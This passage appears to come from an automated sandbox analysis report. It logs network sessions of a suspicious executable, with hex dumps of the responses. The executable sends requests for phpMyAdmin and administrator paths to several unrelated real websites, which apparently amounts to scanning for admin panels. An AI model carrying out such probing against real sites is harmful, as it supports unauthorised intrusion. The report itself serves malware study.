2023-11-26 05:59:33 UTC	16026	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 20 4c 61 73 74 20 50 75 62 6c 69 73 68 65 64 3a 20 54 68 75 20 4e 6f 76 20 32 33 20 32 30 32 33 20 31 34 3a 30 37 3a 33 37 20 47 4d 54 2b 30 30 30 30 20 28 43 6f 6f 72 64 69 6e 61 74 65 64 20 55 6e 69 76 65 72 73 61 6c 20 54 69 6d 65 29 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 0a 20 20 64 61 74 61 2d 77 66 2d 70 61 67 65 3d 22 36 35 35 37 39 32 66 62 30 36 30 66 34 66 34 30 65 33 37 66 62 36 62 64 22 0a 20 20 64 61 74 61 2d 77 66 2d 73 69 74 65 3d 22 36 34 30 30 63 34 39 64 66 66 34 62 34 35 38 36 34 65 38 39 36 61 34 62 22 0a 20 20 6c 61 6e 67 3d 22 65 73 22 0a 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 Data Ascii: <!DOCTYPE html>... Last Published: Thu Nov 23 2023 14:07:37 GMT+0000 (Coordinated Universal Time) --><html data-wf-page="655792fb060f4f40e37fb6bd" data-wf-site="6400c49dff4b45864e896a4b" lang="es"> <head> <meta charset="utf-8" /> <ti
2023-11-26 05:59:33 UTC	16384	IN	Data Raw: 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 75 75 69 2d 74 65 78 74 2d 73 69 7a 65 2d 73 6d 61 6c 6c 2d 32 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 43 6f 6e 6f 63 65 20 65 6c 20 65 73 74 61 64 6f 20 64 65 20 74 75 20 66 61 63 74 75 72 61 63 69 c3 b3 6e 20 70 6f 72 20 63 6f 6e 74 61 63 74 6f 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: v> <div class="uui-text-size-small-2"> Conoce el estado de tu facturacin por contacto. </div> </div> </a>
2023-11-26 05:59:33 UTC	16384	IN	Data Raw: 2f 70 65 72 73 6f 6e 61 6c 69 7a 61 72 2d 66 61 63 74 75 72 61 2e 6a 73 6f 6e 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 6c 6f 6f 70 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 64 69 72 65 63 74 69 6f 6e 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 61 75 74 6f 70 6c 61 79 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 69 73 2d 69 78 32 2d 74 61 72 67 65 74 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 72 65 6e 64 65 72 65 72 3d 22 73 76 67 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 64 75 72 61 74 69 6f 6e Data Ascii: /personalizar-factura.json" data-loop="1" data-direction="1" data-autoplay="1" data-is-ix2-target="0" data-renderer="svg" data-duration
2023-11-26 05:59:33 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 74 3d 22 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 22 69 6d 61 67 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 77 2d 6e 6f 64 65 2d 5f 35 66 38 65 31 64 33 31 2d 38 66 61 38 2d 64 35 63 31 2d 36 30 34 36 2d 30 37 62 34 31 32 34 39 33 63 37 36 2d 31 32 34 39 33 63 37 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 22 64 69 76 20 62 67 5f 5f 67 72 65 65 6e 5f 69 6d 61 67 65 20 66 75 6c 6c 2d 63 65 6e 74 65 72 20 72 6f 75 6e 64 65 64 5f 5f 32 30 70 78 22 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: " alt="" class="image" /> </div> <div id="w-node-_5f8e1d31-8fa8-d5c1-6046-07b412493c76-12493c71" class="div bg__green_image full-center rounded__20px"
2023-11-26 05:59:33 UTC	16384	IN	Data Raw: 74 65 72 2d 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 49 6e 67 72 65 73 6f 73 20 79 20 67 61 73 74 6f 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 65 73 2f 67 65 73 74 69 6f 6e 2d 63 6f 62 72 6f 73 2d 79 2d 70 61 67 6f 73 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 66 6f 6f 74 65 72 2d 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 43 6f 62 72 6f 73 20 79 20 70 61 67 6f 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 65 73 2f 67 65 73 74 69 6f 6e 2d 63 6c 69 65 6e 74 65 73 2d 70 72 6f 76 65 65 64 6f 72 65 73 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 66 6f 6f 74 65 72 2d 6c 69 Data Ascii: ter-link" >Ingresos y gastos</a > <a href="es/gestion-cobros-y-pagos" class="link footer-link" >Cobros y pagos</a > <a href="es/gestion-clientes-proveedores" class="link footer-li
2023-11-26 05:59:33 UTC	13079	IN	Data Raw: 20 34 30 2e 38 37 34 39 20 33 33 2e 30 35 31 39 20 34 31 2e 30 37 30 35 20 33 33 2e 34 35 33 39 4c 34 31 2e 39 33 39 37 20 33 35 2e 31 39 32 34 43 34 32 2e 30 39 31 38 20 33 35 2e 34 38 35 37 20 34 32 2e 33 37 34 33 20 33 35 2e 36 34 38 37 20 34 32 2e 36 37 38 35 20 33 35 2e 36 34 38 37 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 33 33 2e 30 39 35 34 20 33 30 2e 34 32 32 35 43 33 33 2e 32 31 34 39 20 33 30 2e 34 32 32 35 20 33 33 2e 33 34 35 33 20 33 30 2e 33 39 20 33 33 2e 34 35 33 39 20 33 30 Data Ascii: 40.8749 33.0519 41.0705 33.4539L41.9397 35.1924C42.0918 35.4857 42.3743 35.6487 42.6785 35.6487Z" fill="white" ></path> <path d="M33.0954 30.4225C33.2149 30.4225 33.3453 30.39 33.4539 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	57148	185.54.192.125	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	174	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: talentius.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:33 UTC	443	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:33 GMTServer: Apache/2.4.52 (Ubuntu)Pragma: no-cacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://talentius.com/wp-json/>; rel="https:
2023-11-26 05:59:33 UTC	7749	IN	Data Raw: 31 65 63 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 45 53 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a Data Ascii: 1ecc<!DOCTYPE html><html lang="es-ES" class="no-js"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="http://gmpg.org/xfn/11"> <link rel="pingback" href="https:
2023-11-26 05:59:33 UTC	141	IN	Data Raw: 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 6a 71 75 65 72 79 2f 75 69 2f 77 69 64 67 65 74 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 31 31 2e 34 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 Data Ascii: cript type='text/javascript' src='https://talentius.com/wp-includes/js/jquery/ui/widget.min.js?ver=1.11.4'></script><script type='text/javas
2023-11-26 05:59:33 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:33 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 6a 71 75 65 72 79 2f 75 69 2f 6d 6f 75 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 31 31 2e 34 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 6a 71 75 65 72 79 2f 75 69 2f 64 72 61 67 67 61 62 6c 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 31 31 2e 34 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 Data Ascii: 1ff8cript' src='https://talentius.com/wp-includes/js/jquery/ui/mouse.min.js?ver=1.11.4'></script><script type='text/javascript' src='https://talentius.com/wp-includes/js/jquery/ui/draggable.min.js?ver=1.11.4'></script><script type='text/javascript' sr
2023-11-26 05:59:33 UTC	6	IN	Data Raw: 31 66 66 38 0d 0a Data Ascii: 1ff8
2023-11-26 05:59:33 UTC	8184	IN	Data Raw: 2d 69 74 65 6d 2d 32 39 34 22 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 20 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 75 73 74 6f 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 63 75 73 74 6f 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 32 39 34 22 3e 3c 61 20 63 6c 61 73 73 3d 22 70 61 67 65 2d 73 63 72 6f 6c 6c 22 20 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 6f 72 6d 61 63 69 6f 6e 2e 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 22 3e 41 43 43 45 53 4f 20 55 53 55 41 52 49 4f 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 09 09 09 09 09 3c 64 69 76 3e 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 61 76 69 73 6f 2d 6c Data Ascii: -item-294" class="dropdown menu-item menu-item-type-custom menu-item-object-custom menu-item-294"><a class="page-scroll" target="_blank" href="http://formacion.talentius.com/">ACCESO USUARIO</a></li></ul><div><p><a href="http://talentius.com/aviso-l
2023-11-26 05:59:33 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:33 UTC	997	IN	Data Raw: 33 64 39 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 62 69 7a 6f 6e 65 2f 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2e 70 61 72 61 6c 6c 61 78 2d 31 2e 31 2e 33 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 62 69 7a 6f 6e 65 2f 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2e 66 61 6e 63 79 62 6f 78 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 Data Ascii: 3d9<script type='text/javascript' src='https://talentius.com/wp-content/themes/bizone/assets/js/jquery.parallax-1.1.3.js'></script><script type='text/javascript' src='https://talentius.com/wp-content/themes/bizone/assets/js/jquery.fancybox.js'></script

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	56702	213.0.13.44	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	183	OUT	GET /administrator/ HTTP/1.1 Host: www.ceuandalucia.es Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:33 UTC	461	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 32 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 35 2e 34 2e 34 35 2d 30 2b 64 65 62 37 75 31 34 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 65 75 61 6e 64 61 6c 75 63 69 61 2e 65 73 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTServer: ApacheX-Powered-By: PHP/5.4.45-0+deb7u14Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.ceuandalucia.es/wp-json/>; rel
2023-11-26 05:59:33 UTC	6	IN	Data Raw: 32 33 30 34 0d 0a Data Ascii: 2304
2023-11-26 05:59:33 UTC	4773	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 20 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 68 74 6d 6c 2d 6c 6f 61 64 69 6e 67 20 77 66 2d 61 63 74 69 76 65 20 69 65 20 6f 6c 64 2d 62 72 6f 77 73 65 72 20 6c 74 2d 69 65 31 30 20 6c 74 2d 69 65 39 20 6c 74 2d 69 65 38 20 6c 74 2d 69 65 37 20 72 65 73 70 6f 6e 73 69 76 65 22 20 69 74 65 6d 73 63 6f 70 65 3d 22 69 74 65 6d 73 63 6f 70 65 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 6c 61 6e 67 3d 22 65 73 22 20 78 6d 6c 6e 73 3a 6f 67 3d 22 68 74 74 70 3a 2f 2f 6f 70 65 6e 67 72 61 70 68 70 72 6f 74 6f 63 6f 6c 2e 6f 72 67 2f 73 63 68 65 6d 61 2f 22 20 Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js html-loading wf-active ie old-browser lt-ie10 lt-ie9 lt-ie8 lt-ie7 responsive" itemscope="itemscope" itemtype="http://schema.org/WebPage" lang="es" xmlns:og="http://opengraphprotocol.org/schema/"
2023-11-26 05:59:33 UTC	4191	IN	Data Raw: 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 68 65 69 67 68 74 3a 20 31 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 77 69 64 74 68 3a 20 31 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 20 2e 30 37 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 2d 30 2e 31 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 62 61 63 6b Data Ascii: <style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1em !important;back
2023-11-26 05:59:33 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:33 UTC	6	IN	Data Raw: 32 37 66 63 0d 0a Data Ascii: 27fc
2023-11-26 05:59:33 UTC	5939	IN	Data Raw: 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6e 65 77 73 6c 65 74 74 65 72 2d 73 75 62 73 63 72 69 70 74 69 6f 6e 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 65 75 61 6e 64 61 6c 75 63 69 61 2e 65 73 2f 77 70 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 6e 65 77 73 6c 65 74 74 65 72 2f 73 75 62 73 63 72 69 70 74 69 6f 6e 2f 73 74 79 6c 65 2e 63 73 73 3f 76 65 72 3d 35 2e 31 2e 38 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6d 6f 6f 76 65 5f 67 64 70 72 5f 66 72 6f 6e 74 65 6e 64 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f Data Ascii: <link rel='stylesheet' id='newsletter-subscription-css' href='https://www.ceuandalucia.es/wp/wp-content/plugins/newsletter/subscription/style.css?ver=5.1.8' type='text/css' media='all' /><link rel='stylesheet' id='moove_gdpr_frontend-css' href='https:/
2023-11-26 05:59:33 UTC	4297	IN	Data Raw: 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 74 68 65 6d 65 2d 62 6f 6f 74 73 74 72 61 70 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 65 75 61 6e 64 61 6c 75 63 69 61 2e 65 73 2f 77 70 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 65 6e 76 69 73 69 6f 6e 2f 6c 69 62 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 63 73 73 3f 76 65 72 3d 32 2e 30 2e 39 2e 33 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 74 68 65 6d 65 2d 63 68 69 6c 64 2d 66 72 6f 6e 74 65 6e 64 2d 73 74 79 6c 65 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 Data Ascii: <link rel='stylesheet' id='theme-bootstrap-css' href='https://www.ceuandalucia.es/wp/wp-content/themes/envision/lib/css/bootstrap.css?ver=2.0.9.3' type='text/css' media='all' /><link rel='stylesheet' id='theme-child-frontend-style-css' href='https://ww
2023-11-26 05:59:33 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:33 UTC	6	IN	Data Raw: 35 62 66 35 0d 0a Data Ascii: 5bf5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	57220	47.246.24.211	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	169	OUT	GET /phpmyadmin/ HTTP/1.1 Host: wonka.cc Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:34 UTC	733	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 54 65 6e 67 69 6e 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 30 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 41 53 50 2e 4e 45 54 5f 53 65 73 73 69 6f 6e 49 64 3d 75 62 35 31 35 6e 70 66 6d 35 78 67 6e 72 63 33 68 62 67 31 79 7a 34 62 3b 20 70 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 3b Data Ascii: HTTP/1.1 404 Not FoundServer: TengineContent-Type: text/html; charset=utf-8Content-Length: 103Connection: closeDate: Sun, 26 Nov 2023 05:59:33 GMTCache-Control: privateSet-Cookie: ASP.NET_SessionId=ub515npfm5xgnrc3hbg1yz4b; path=/; HttpOnly;
2023-11-26 05:59:34 UTC	103	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 6e 77 7a 69 6d 67 2e 77 65 7a 68 61 6e 2e 6e 65 74 2f 73 74 61 74 69 63 2d 6a 73 2f 70 61 67 65 34 30 34 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e Data Ascii: <!DOCTYPE html><html><head><script src='https://nwzimg.wezhan.net/static-js/page404.js'></script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	57219	54.83.33.36	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	173	OUT	GET /phpmyadmin/ HTTP/1.1 Host: ce-logic.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:33 UTC	262	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 76 61 72 79 3a 20 58 2d 46 6f 72 77 61 72 64 65 64 2d 50 72 6f 74 6f 63 6f 6c 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 